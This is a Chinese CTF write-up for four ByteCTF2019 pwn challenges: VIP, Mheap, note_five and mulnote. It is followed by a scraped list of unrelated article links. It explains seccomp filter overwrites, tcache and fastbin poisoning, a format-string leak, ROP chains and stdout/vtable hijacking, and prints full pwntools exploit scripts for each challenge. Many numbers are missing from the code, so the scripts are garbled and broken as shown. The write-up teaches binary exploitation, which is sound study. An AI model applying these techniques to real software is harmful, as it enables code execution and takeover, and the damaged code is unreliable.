VIP

第一阶段:

先检查一下程序开的保护:

程序只开了canary和nx保护.接下来用IDA分析反编译出的伪代码

如上图,载edit函数中我们可以控制size的大小,并且程序没有做任何检查,我们再跟进去看下,

第一个if语句中,因为dword_4040e0默认是0,所以我们不好利用。open函数正常情况下会返回一个文件描述符,read函数接下来会读入一些随机值,也不好控制。其实有办法控制open函数的返回值,这是这题的关键所在,接下来会讲。

程序还有自定义函数调用了prctl函数用来过滤一些系统调用,由于第一次碰到这个函数,所以我们着重分析一下。

查看man手册,给了如下解释:

  1. prctl() is called with a first argument describing what to do (with values defined in <linux/prctl.h>), and further arguments with a significance depending onthe first one.

先看第一个程序给的第一个函数:

第一参数是38,我们需要查看一下宏定义才知道这个参数是什么意思,文件在/usr/include/linux/prctl.h中:

接着查看man手册看看这个参数有什么作用:

  1. PR_SET_NO_NEW_PRIVS (since Linux 3.5)
  2. Set the calling thread's no_new_privs bit to the value in arg2. With no_new_privs set to 1, execve(2) promises not to grant privileges to do anything
  3. that could not have been done without the execve() call (for example, rendering the set-user-ID and set-group-ID mode bits, and file capabilities non-
  4. functional). Once set, this bit cannot be unset. The setting of this bit is inherited by children created by fork() and clone(), and preserved across
  5. execve().
  6.  
  7. Since Linux 4.10, the value of a thread's no_new_privs bit can be viewed via the NoNewPrivs field in the /proc/[pid]/status file.
  8.  
  9. For more information, see the kernel source file Documentation/userspace-api/no_new_privs.rst (or Documentation/prctl/no_new_privs.txt before Linux 4.13).
  10. See also seccomp().

由上可知当arg2的值为1时,execve不能使用了。题目给的第二个参数刚好是1,所以execve被禁了。

接下来看第二个prctl函数。

还是先去/usr/include/linux/prctl.h查看对应的宏定义

接着在man手册中查看该参数的含义

  1. PR_SET_SECCOMP (since Linux 2.6.)
  2. Set the secure computing (seccomp) mode for the calling thread, to limit the available system calls. The more recent seccomp() system call provides a
  3. superset of the functionality of PR_SET_SECCOMP.
  4.  
  5. The seccomp mode is selected via arg2. (The seccomp constants are defined in <linux/seccomp.h>.)
  6.  
  7. With arg2 set to SECCOMP_MODE_STRICT, the only system calls that the thread is permitted to make are read(), write(), _exit() (but not exit_group()),
  8. and sigreturn(). Other system calls result in the delivery of a SIGKILL signal. Strict secure computing mode is useful for number-crunching applica
  9. tions that may need to execute untrusted byte code, perhaps obtained by reading from a pipe or socket. This operation is available only if the kernel is
  10. configured with CONFIG_SECCOMP enabled.
  11.  
  12. With arg2 set to SECCOMP_MODE_FILTER (since Linux 3.5), the system calls allowed are defined by a pointer to a Berkeley Packet Filter passed in arg3.
  13. This argument is a pointer to struct sock_fprog; it can be designed to filter arbitrary system calls and system call arguments. This mode is available
  14. only if the kernel is configured with CONFIG_SECCOMP_FILTER enabled.
  15.  
  16. If SECCOMP_MODE_FILTER filters permit fork(), then the seccomp mode is inherited by children created by fork(); if execve() is permitted, then the sec
  17. comp mode is preserved across execve(). If the filters permit prctl() calls, then additional filters can be added; they are run in order until the first
  18. non-allow result is seen.
  19.  
  20. For further information, see the kernel source file Documentation/userspace-api/seccomp_filter.rst (or Documentation/prctl/seccomp_filter.txt before Linux
  21. 4.13).

由上可知arg2有两种选择,一种是SECCOMP_MODE_STRICT,另一种是SECCOMP_MODE_FILTER,我们还是在/usr/include/linux/seccomp.h中先查看一下宏定义,发现

根据上面的解释可知arg3是一个struct sock_fprog的结构体(具体关于这个结构体读者可以自行百度,在此我就不再赘述),这个结构体决定prctl过滤什么系统调用。现在我们在看下IDA反编译出来的伪代码:

很明显,我们在输入name时可以控制v1中的值从而控制这个结构体来禁用我们想要的系统调用。已知open函数在内部会调用openat函数,如果我们禁用调openat,open函数就会返回,那么之前分析的存在溢出的read函数就可以利用了。

这里我们需要一个工具:seccomp_tools,链接:https://github.com/david942j/seccomp-tools

分析一下程序:

我们可以仿照这个格式写一个汇编程序替换这个结构体,代码如下:

  1. A = arch
  2. A == ARCH_X86_64 ? next : dead
  3. A = sys_number
  4. A == execve ? dead : ok
  5. ok:
  6. return ALLOW
  7. dead:
  8. return ERRNO() #这里不能写return KILL,否则程序就会直接退出

用seccomp-tools汇编一下:

  1. " \x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x03>\x00\x00\xC0 \x00\x00\x00\x00\x00\x00\x00\x15\x00\x01\x00;\x00\x00\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x05\x00"

出来的结果有些不是以ascii码显示的,所以我们要处理一下,最终结果如下:

  1. "\x20\x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x03>\x00\x00\xC0\x20\x00\x00\x00\x00\x00\x00\x00\x15\x00\x01\x00\x3E\x00\x00\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x05\x00"

只要在输入name是替换调原来的结构,就可以实现任意长度写。

第二阶段:

根据程序给的是libc可知有tcache,而libc-2.27.so中的tcache在malloc时是没有大小检查的,而通过溢出我们又可以控制tcache中chunk的fd指针,那么我们那就可以把任意地址放入tcache中在再配出来,就可以控制其中的值了。

第一步:

先分配三个chunk0,chunk1,chunk2,再free调chunk1,chunk2,然后调用show函数,就可以泄漏堆地址,如下:

  1. Add()
  2. Add()
  3. Add()
  4. Free()
  5. Free()
  6.  
  7. payload = 'A'*0xc0
  8. Edit(, len(payload), payload)
  9. Show()
  10. p.recvuntil('A'*0xc0)
  11. chunk_addr = u64(p.recvuntil('\n', drop = True).ljust(, '\x00')) - 0x28 - 0x38
  12. info("chunk_addr ==> "+hex(chunk_addr))

第二步:

修改chunk2的fd指针为puts_got,实现got修改,然后利用格式化字符串漏洞泄漏stack地址,此处stack地址为main函数的栈底下一个地址,方便后续构造ROP链:

  1. #复原chunk1,chunk2
  2. payload = '/flag' + '\x00'*0x53 + p64(0x61) + p64(puts_got) + '\x00'*0x48 + p64(0x60) + p64(0x61) + p64(puts_got)
  3. Edit(, len(payload), payload)
  4.  
  5. #分配puts_got
  6. Add()
  7. Add()
  8.  
  9. #向puts_got中写入printf_plt
  10. payload = p64(printf_plt)
  11. Edit(, len(payload), payload)
  12.  
  13. #泄漏stack地址
  14. payload = '%8$p%17$p'
  15. Edit(, len(payload), payload)
  16. Show()
  17. stack_addr = int(p.recv(), ) - 0x38 + 0x40
  18. info("stack_addr ==> " + hex(stack_addr))
  19. libc_base = int(p.recv(, ), ) - 0x21b97
  20. info("libc_base ==> " + hex(libc_base))

第三步:

把stack放入tcache中然后分配出来:

  1. #把stack_addr放入tcache_bin中
  2. Free()
  3. payload = '/flag' + '\x00'*0x53 + p64(0x61) + '\x00'*0x50 + p64(0x60) + p64(0x61) + p64(stack_addr)
  4. #gdb.attach(p)
  5. Edit(, len(payload), payload)
  6.  
  7. #分配stack
  8. Add()
  9. Add()

第四步:

构造ROP链:

  1. pop_rdx_ret = libc_base + 0x1b96
  2. syscall_addr = libc_base + 0x11b820 + 0x17
  3. pop_rax_ret = libc_base + 0x439c8
  4. pop_rbx_ret = libc_base + 0x2cb49
  5. puts_addr = libc_base + libc.symbols['puts']
  6.  
  7. #构造ROP链
  8. payload = p64(pop_rdi_ret) + p64(chunk_addr) + p64(pop_rsi_r15_ret) + p64() + p64() + p64(pop_rdx_ret) + p64() + p64(pop_rax_ret) + p64() + p64(syscall_addr)
  9. payload += p64(pop_pop_pop) + p64() + p64() + p64(read_got) + p64() + p64(chunk_addr) + p64()
  10. payload += p64(call_addr) + '\x00'*
  11. payload += p64(pop_rdi_ret) + p64(chunk_addr) + p64(puts_addr)
  12. Edit(, len(payload), payload)
  13.  
  14. for i in range():
  15. info("i ==> " + str(i))
  16. p.sendlineafter('Your choice: ', '')
  17. p.sendlineafter('Index: ', '')

完整的exp如下:

  1. #-*-coding:utf--*-
  2. from pwn import *
  3. context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
  4. p = process('./vip')
  5. elf = ELF('vip')
  6. libc = ELF('libc-2.27.so')
  7.  
  8. def Become(name, choice):
  9. p.recvuntil('Your choice: ')
  10. p.sendline('')
  11. if choice == :
  12. p.recvuntil('your name: ')
  13. else:
  14. p.recvuntil('your name: \n')
  15. p.send(name)
  16.  
  17. def Add(index):
  18. p.sendlineafter('Your choice: ', '')
  19. p.sendlineafter('Index: ', str(index))
  20.  
  21. def Edit(index, size, content):
  22. p.sendlineafter('Your choice: ', '')
  23. p.sendlineafter('Index: ', str(index))
  24. p.sendlineafter('Size: ', str(size))
  25. p.sendafter('Content: ', content)
  26.  
  27. def Free(index):
  28. p.sendlineafter('Your choice: ', '')
  29. p.sendlineafter('Index: ', str(index))
  30.  
  31. def Show(index):
  32. p.sendlineafter('Your choice: ', '')
  33. p.sendlineafter('Index: ', str(index))
  34.  
  35. def Format(format__):
  36. p.sendafter('Your choice: ', format__)
  37.  
  38. #原长度为31个字节,在最后加一个字节,以便完全覆盖原来的数据
  39. payload = '\x00'*0x20 + '\x20\x00\x00\x00\x04\x00\x00\x00\x15\x00\x00\x03\x3E\x00\x00\xC0\x20\x00\x00\x00\x00\x00\x00\x00\x15\x00\x01\x00\x01\x01\x00\x00\x06\x00\x00\x00\x00\x00\xFF\x7F\x06\x00\x00\x00\x00\x00\x05\x00'
  40. Become(payload, )
  41.  
  42. open_plt = elf.plt['open']
  43. printf_plt = elf.plt['printf']
  44. puts_got = elf.got['puts']
  45. atoi_got = elf.got['atoi']
  46. pop_ebp_ret = 0x4011d9
  47. pop_rdi_ret = 0x4018fb
  48. pop_rsi_r15_ret = 0x4018f9
  49. pop_pop_pop = 0x4018f2
  50. call_addr = 0x4018d8
  51. read_got = elf.got['read']
  52.  
  53. Add()
  54. Add()
  55. Add()
  56. Free()
  57. Free()
  58.  
  59. payload = 'A'*0xc0
  60. Edit(, len(payload), payload)
  61. Show()
  62. p.recvuntil('A'*0xc0)
  63. chunk_addr = u64(p.recvuntil('\n', drop = True).ljust(, '\x00')) - 0x28 - 0x38
  64. info("chunk_addr ==> "+hex(chunk_addr))
  65.  
  66. #复原chunk1,chunk2
  67. payload = '/flag' + '\x00'*0x53 + p64(0x61) + p64(puts_got) + '\x00'*0x48 + p64(0x60) + p64(0x61) + p64(puts_got)
  68. Edit(, len(payload), payload)
  69.  
  70. #分配puts_got
  71. Add()
  72. Add()
  73.  
  74. #向puts_got中写入printf_plt
  75. payload = p64(printf_plt)
  76. Edit(, len(payload), payload)
  77.  
  78. #泄漏stack地址
  79. payload = '%8$p%17$p'
  80. Edit(, len(payload), payload)
  81. Show()
  82. stack_addr = int(p.recv(), ) - 0x38 + 0x40
  83. info("stack_addr ==> " + hex(stack_addr))
  84. libc_base = int(p.recv(, ), ) - 0x21b97
  85. info("libc_base ==> " + hex(libc_base))
  86.  
  87. #把stack_addr放入tcache_bin中
  88. Free()
  89. payload = '/flag' + '\x00'*0x53 + p64(0x61) + '\x00'*0x50 + p64(0x60) + p64(0x61) + p64(stack_addr)
  90. #gdb.attach(p)
  91. Edit(, len(payload), payload)
  92.  
  93. #分配stack
  94. Add()
  95. Add()
  96.  
  97. pop_rdx_ret = libc_base + 0x1b96
  98. syscall_addr = libc_base + 0x11b820 + 0x17
  99. pop_rax_ret = libc_base + 0x439c8
  100. pop_rbx_ret = libc_base + 0x2cb49
  101. puts_addr = libc_base + libc.symbols['puts']
  102.  
  103. #构造ROP链
  104. payload = p64(pop_rdi_ret) + p64(chunk_addr) + p64(pop_rsi_r15_ret) + p64() + p64() + p64(pop_rdx_ret) + p64() + p64(pop_rax_ret) + p64() + p64(syscall_addr)
  105. payload += p64(pop_pop_pop) + p64() + p64() + p64(read_got) + p64() + p64(chunk_addr) + p64()
  106. payload += p64(call_addr) + '\x00'*
  107. payload += p64(pop_rdi_ret) + p64(chunk_addr) + p64(puts_addr)
  108. Edit(, len(payload), payload)
  109.  
  110. for i in range():
  111. info("i ==> " + str(i))
  112. p.sendlineafter('Your choice: ', '')
  113. p.sendlineafter('Index: ', '')
  114.  
  115. p.interactive()

参考博客:http://www.secwk.com/2019/09/20/6564/

记录一下自己踩的坑及疑惑:

  • 由于不能getshell,我们在最后采用orw,但是在打印环节我开始调用的printf函数,结果因为一些寄存器的值被修改导致调用失败最后是改为puts才成功,当然这里用write也可以,只不过比较麻烦,所以printf函数还是比较坑的,能能少用就少用
  • 前面openat函数被过滤了,但是直接以syscall的形式调用open可以成功,以ret2open@plt的形式就会失败,这是为什么?

Mheap:

先看程序开的保护:

发现可以修改GOT。程序就四个功能:Alloc,Free,Edit,Show。不过这题的特殊之处是自己手动实现的类似ptmalloc的堆分配机制。

我们着重看读入字符串的函数:

若read函数第二参数为非法地址,则read函数会返回-1,那这时read函数第二个参数就会减1,利用这个特性我们可以完成一系列的利用。

这题要注意当read函数返回-1后再次读入数据时还是从头开始读,并不是接着刚才的额读下去。

最终的exp如下:

  1. from pwn import *
  2. context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
  3. p = process('./mheap')
  4. libc = ELF('libc-2.27.so')
  5.  
  6. def Alloc(index, size, content, flag):
  7. p.sendlineafter('Your choice: ', '')
  8. p.sendlineafter('Index: ', str(index))
  9. p.sendlineafter('Input size: ', str(size))
  10. if flag == :
  11. p.sendafter('Content: ', content)
  12. elif flag == :
  13. p.sendlineafter('Content: ', content)
  14.  
  15. def Show(index):
  16. p.sendlineafter('Your choice: ', '')
  17. p.sendlineafter('Index: ', str(index))
  18.  
  19. def Free(index):
  20. p.sendlineafter('Your choice: ', '')
  21. p.sendlineafter('Index: ', str(index))
  22.  
  23. def Edit(index, content):
  24. p.sendlineafter('Your choice: ', '')
  25. p.sendlineafter('Index: ', str(index))
  26. p.send(content)
  27.  
  28. got_addr = 0x404000
  29.  
  30. Alloc(, 0x10, 'A'*, )
  31. Free()
  32. #Alloc(, 0xfd0+0x2d, '\x10'*0xffd, )
  33. Alloc(, 0xfd0+0x28, p64(got_addr) + '\x0a'*0x20 + '\x0a'*0xfd0, )
  34. #p.sendline('AA')
  35. #gdb.attach(p)
  36. Alloc(, 0x403e10, 'A'*0x7, )
  37.  
  38. Show()
  39. p.recv()
  40. puts_addr = u64(p.recv().ljust(, '\x00'))
  41. info("puts_addr ==> " + hex(puts_addr))
  42.  
  43. libc_base = puts_addr - libc.symbols['puts']
  44. system_addr = libc_base + libc.symbols['system']
  45. __stack_chk_fail_addr = libc_base + libc.symbols['__stack_chk_fail']
  46. mmap_addr = libc_base + libc.symbols['mmap']
  47. printf_addr = libc_base + libc.symbols['printf']
  48. memset_addr = libc_base + libc.symbols['memset']
  49. read_addr = libc_base + libc.symbols['read']
  50. setvbuf_addr = libc_base + libc.symbols['setvbuf']
  51.  
  52. Free()
  53. payload = 'A'*0x8 + p64(puts_addr)
  54. payload += p64(__stack_chk_fail_addr)
  55. payload += p64(mmap_addr)
  56. payload += p64(printf_addr)
  57. payload += p64(memset_addr)
  58. payload += p64(read_addr)
  59. payload += p64(setvbuf_addr)
  60. payload += p64(system_addr)
  61. Alloc(, 0x403e10, payload, )
  62.  
  63. p.sendlineafter('Your choice: ', '/bin/sh\x00')
  64.  
  65. p.interactive()

以前做过的一个题是利用read函数会把第三个参数当作无符号数解析,特在此记录下


note_five:

先查看一下程序的保护:

查看IDA反编译出的伪代码,发现漏洞主要在读入数据时存在单字节溢出:

利用思路:

  • 先分配5个chunk,修改chunk3的prev_size和prev_inuse位,free掉chunk3,造成chunk overlapping
  • 利用unsortedbin attack修改global_max_fast的值,这样我们所有分配释放的chunk都会按照fastbin chunk处理
  • 利用部分写把chunk分配到_IO_2_1_stdout_附近,修改开始的标志数据和_IO_write_base,达到泄漏的目的
  • 由于不能vtable不能写,所以我们伪造整个vtable,并修改_IO_2_stdout_中vtable的值

记录一下自己踩坑的地方:

  • 在触发unlink时我们常用的手段是伪造chunk的prev_size,size,fd,bk。但这题通过先释放chunk0,再伪造chunk3的prev_size和prev_inuse同样绕过了检查
  • 在释放fastbin chunk时会对其物理相邻的下一个chunk的size进行一系列检查,需要注意
  • 修改_IO_2_1_stdout_进行泄漏是只需修改_IO_write_base即可,而其_IO_read_base, _IO_read_end, _IO_read_ptr为零也没关系
  1. #-*- coding:utf- -*-
  2. from pwn import *
  3. context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
  4. p = process('./note_five')
  5. libc = ELF('libc.so')
  6.  
  7. def Add(index, size):
  8. p.sendlineafter('choice>> ', '')
  9. p.sendlineafter('idx: ', str(index))
  10. p.sendlineafter('size: ', str(size))
  11.  
  12. def Edit(index, content):
  13. p.sendlineafter('choice>> ', '')
  14. p.sendlineafter('idx: ', str(index))
  15. p.sendafter('content: ', content)
  16.  
  17. def Delete(index):
  18. p.sendlineafter('choice>> ', '')
  19. p.sendlineafter('idx: ', str(index))
  20.  
  21. Add(, 0xf8)
  22. Add(, 0xf8)
  23. Add(, 0xf8)
  24. Add(, 0xf8)
  25. Add(, 0xf8)
  26.  
  27. #伪造chunk3的prev_size和prev_inuse位,再释放调chunk0和chunk3,造成chunk overlapping,可以得到大小为0x400的unsortbin chunk
  28. payload = '\x00'*0xf0 + p64(0x300) + '\x00'
  29. Edit(, payload) #chunk overlapping
  30. Delete()
  31. Delete()
  32.  
  33. Add(, 0x108)
  34. Add(, 0xe8)
  35. payload = '\x00'*0x8 + '\xe8\x37' + '\n'
  36. Edit(, payload) #修改bk指针指向&global_max_fast-0x10处,为unsortedbin attack做准备
  37. Add(, 0x1f8)
  38.  
  39. Delete()
  40. payload = p64() + p64(0xf1) + '\x3b\x25' + '\n'
  41. Edit(, payload)
  42.  
  43. Add(, 0xe8)
  44. Add(, 0xe8) #chunk4可控制_IO_2_1_stderr
  45.  
  46. #在&_IO_2_1_stdout_0x10处填入0x1f1,伪造chunk大小,并修改_IO_2_1_stdout_的flag的值为0xfbad1800
  47. #修改flag的值是为了绕过一些列检查,至于为什么改为这个值读者可百度其他相关_IO_FILE的文章
  48. payload = '\x00'*0xcd + p64(0x1f1) + '\x00\x18\xad\xfb' + '\n'
  49. Edit(, payload)
  50.  
  51. #此处修改大小是因为原来的链表被破坏,需要通过修改大小换一个索引
  52. Edit(, '\x00'* + p64(0x1f1) + '\n')
  53.  
  54. Delete()
  55. payload = '\x00'*0x8 + p64(0x1f1) + '\x10\x26' + '\n'
  56. Edit(, payload)
  57.  
  58. Add(, 0x1e8)
  59. Add(, 0x1e8) #chunk4可控制_IO_2_1_stdout
  60.  
  61. payload = p64(0xfbad1800) + p64()* + '\x00\n'
  62. Edit(, payload)
  63.  
  64. p.recvuntil('\x00\x18\xad\xfb')
  65. p.recv()
  66.  
  67. libc_base = u64(p.recv()+'\x00\x00') - 0x3c5600
  68. info("libc_base ==> " + hex(libc_base))
  69.  
  70. one_gadget = libc_base + 0xf1147
  71.  
  72. #保持_IO_2_1_stdout_的其他数据不动,只修改vtable的值,并在stderr处写入one_gadget
  73. payload = p64(0xfbad1800) + p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x83)
  74. payload += p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x83) + p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x83)
  75. payload += p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x83) + p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x83)
  76. payload += p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x84) + p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x83)
  77. payload += p64(libc_base + libc.sym['_IO_2_1_stdout_'] + 0x84) + p64()
  78. payload += p64() + p64()
  79. payload += p64() + p64(libc_base + libc.sym['_IO_2_1_stdin_'])
  80. payload += p64() + p64(0xffffffffffffffff)
  81.  
  82. # 此处原来的数据是0x0a000000,由于'\x0a'会被输入截断,故改为0x0b000000
  83. payload += p64(0x0b000000) + p64(libc_base + 0x3c6780)
  84. payload += p64(0xffffffffffffffff) + p64()
  85. payload += p64(libc_base + 0x3c47a0) + p64()
  86. payload += p64() + p64()
  87. payload += p64(0xffffffff) + p64()
  88. payload += p64() + p64(libc_base + 0x3c56c8)
  89. payload += p64(one_gadget) + '\n'
  90. info("len(payload) ==> " + hex(len(payload)))
  91. info("one_gadget ==> " + hex(one_gadget))
  92. #gdb.attach(p)
  93. Edit(, payload)
  94.  
  95. p.interactive()

mulnote:

查看程序开的保护:

发现只有canary保护没开。接下来用IDA查看反编译出的代码。

main函数中通过不断改变v4的值来实现不同分支的选择,所以main函数相当于一个巨大的switch函数,不用细看,只需要关注其他自定义函数实现的功能。

Add函数:

能分配大小不大于0x10000的chunk,并写入size-1个字节

Edit函数:

是根据strlen函数的返回值来确定读入字节数

Show函数:

一次性打印所有chunk的内容

Free函数:

最坑的就是这个函数,不得不说出题人的用心险恶。起先我找到的是这个函数:

一个很简单的函数,啥洞也没留。但是当我调试时发现free掉的chunk指针并没有清零,这可把我高兴坏了。但是疑问随之而来,这明显跟我们分析出来的不一样啊。接下来我就调试跟踪看了一下free的具体过程,结果发现在调用刚才那个函数之前调用了这个函数:

初看这个函数我是挺懵的,感觉啥也没干啊,接着看了一下汇编代码,别有洞天啊,不得不说还是不能太相信IDA反编译出来的代码。

查看汇编代码发现调用了这个函数:

就是这个函数导致free后指针没有清零,关于这个函数读者可自行百度。

搞清楚后利用就简单了:

  • 先malloc大小不属于fastbin的chunk再free调泄漏libc基址
  • malloc一个大小为0x60的chunk在free,并修改fd指针指向__malloc_hook附近
  • 分配chunk控制__malloc_hook并向其写入one_gadget

其实在我以为free后指针会清零的时候,我的利用思路是:

  • 利用realloc分配一个小于原chunk的chunk造成堆溢出
  • 修改chunk的size造成chunk overlapping并泄漏libc
  • 再次利用chunk overlapping控制fd指针指向__malloc_hook附近
  • 分配chunk控制__malloc_hook并向其写入one_gadget

不过我没试过行不行。

最终exp如下:

  1. from pwn import *
  2. context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
  3. p = process('./mulnote')
  4. libc = ELF('libc.so')
  5.  
  6. def Add(size, content):
  7. p.sendlineafter('>', 'C')
  8. p.sendlineafter('size>', str(size))
  9. p.sendafter('note>', content)
  10.  
  11. def Edit(index, content):
  12. p.sendlineafter('>', 'E')
  13. p.sendlineafter('index>', str(index))
  14. p.sendafter('new note>', content)
  15.  
  16. def Show():
  17. p.sendlineafter('>', 'S')
  18.  
  19. def Delete(index):
  20. p.sendlineafter('>', 'R')
  21. p.sendlineafter('index>', str(index))
  22.  
  23. Add(0x80, 'A'*)
  24. #gdb.attach(p)
  25. Delete()
  26. Show()
  27.  
  28. p.recvuntil('\n')
  29. libc_base = u64(p.recv()+'\x00\x00') - 0x3c4b78
  30. info("libc_base ==> " + hex(libc_base))
  31. one_gadget = libc_base + 0x4526a
  32. info('one_gadget ==> ' + hex(one_gadget))
  33. fake_chunk = libc_base + 0x3c4aed
  34.  
  35. Add(0x60, 'AAAAAAAA')
  36. Add(0x60, 'BBBBBBBB')
  37. Add(0x60, 'CCCCCCCC')
  38.  
  39. Delete()
  40. Delete()
  41.  
  42. Edit(, p64(fake_chunk)[:])
  43.  
  44. Add(0x60, 'AAAAAAAA')
  45. Add(0x60, 'A'*0x13 + p64(one_gadget))
  46.  
  47. p.sendlineafter('>', 'C')
  48. p.sendlineafter('size>', '')
  49.  
  50. p.interactive()

ByteCTF2019的更多相关文章

  1. bytectf2019 boring_code的知识学习&&无参数函数执行&&上海市大学生CTF_boring_code+

    参赛感悟 第三次还是第二次参加这种CTF大赛了,感悟和学习也是蛮多的,越发感觉跟大佬的差距明显,但是还是要努力啊,都大三了,也希望出点成绩.比赛中一道WEB都没做出来,唯一有点思路的只有EZCMS,通 ...

随机推荐

  1. Linux系统安装Nginx(Centos7)

    Nginx是一款轻量级的网页服务器.反向代理服务器.它最常的用途是提供反向代理服务,还可以做负载均衡.相较于Apache.lighttpd具有占有内存少,稳定性高等优势.服务端很多场景都需要使用,这篇 ...

  2. 【POJ3071】Football - 状态压缩+期望 DP

    Description Consider a single-elimination football tournament involving 2n teams, denoted 1, 2, …, 2 ...

  3. 阿里P8架构师大话设计模式,体会乐与怒的程序人生中值得回味一幕

    本书特色 本书有两个特色,第一特色是重视过程.看了太多的计算机编程类的图书,大多数书籍都是集中在讲授优秀的解决方案或者一个完美的程序样例,但对这些解决方案和程序的演变过程却重视不够,好书之所以好,就是 ...

  4. Linux三剑客老三---grep

    1.Linux三剑客老三 过滤需要的内容,例子:grep -v oldboy hello.txt grep一般常用参数: -a:在二进制文件中,以文本文件的方式搜索数据. -c:计算找到"搜 ...

  5. 推断(inference)和预测(prediction)

    上二年级的大儿子一直在喝无乳糖牛奶,最近让他尝试喝正常牛奶,看看反应如何.三天过后,儿子说,好像没反应,我可不可以说我不对乳糖敏感了. 我说,呃,这个问题不简单啊.你知道吗,这在统计学上叫推断. 儿子 ...

  6. 访问github太慢?我写了一个开源小工具一键变快

    前言 GitHub应该是广大开发者最常去的站点,这里面有大量的优秀项目,是广大开发者寻找资源,交友学习的好地方.尤其是前段时间GitHub公布了一项代码存档计划--Arctic Code Vault, ...

  7. 【独家】React Native 版本升级指南

    前言 React Native 作为一款跨端框架,有一个最让人头疼的问题,那就是版本更新.尤其是遇到大版本更新,JavaScript.iOS 和 Android 三端的配置构建文件都有非常大的变动,有 ...

  8. Jenkins匿名用户设置

    最近自己安装配置jenkins,但是跑任务时,发现是匿名账户登录,可以在系统设置中点击如下: 2.勾选“启用安全”,“访问控制”>“安全域”选择“Jenkins专有用户数据库”,并勾选“允许用户 ...

  9. Mysql 5.6创建新用户并授权指定数据库相应权限

    一.环境 Centos 6.9 Mysql 5.6.40 二.步骤 1.使用root用户登陆mysql mysql -uroot -p 输入密码: 2.创建新用户 CREATE USER 'user' ...

  10. “计数质数”问题的常规思路和Sieve of Eratosthenes算法分析

    题目描述 题目来源于 LeetCode 204.计数质数,简单来讲就是求"不超过整数 n 的所有素数个数". 常规思路 一般来讲,我们会先写一个判断 a 是否为素数的 isPrim ...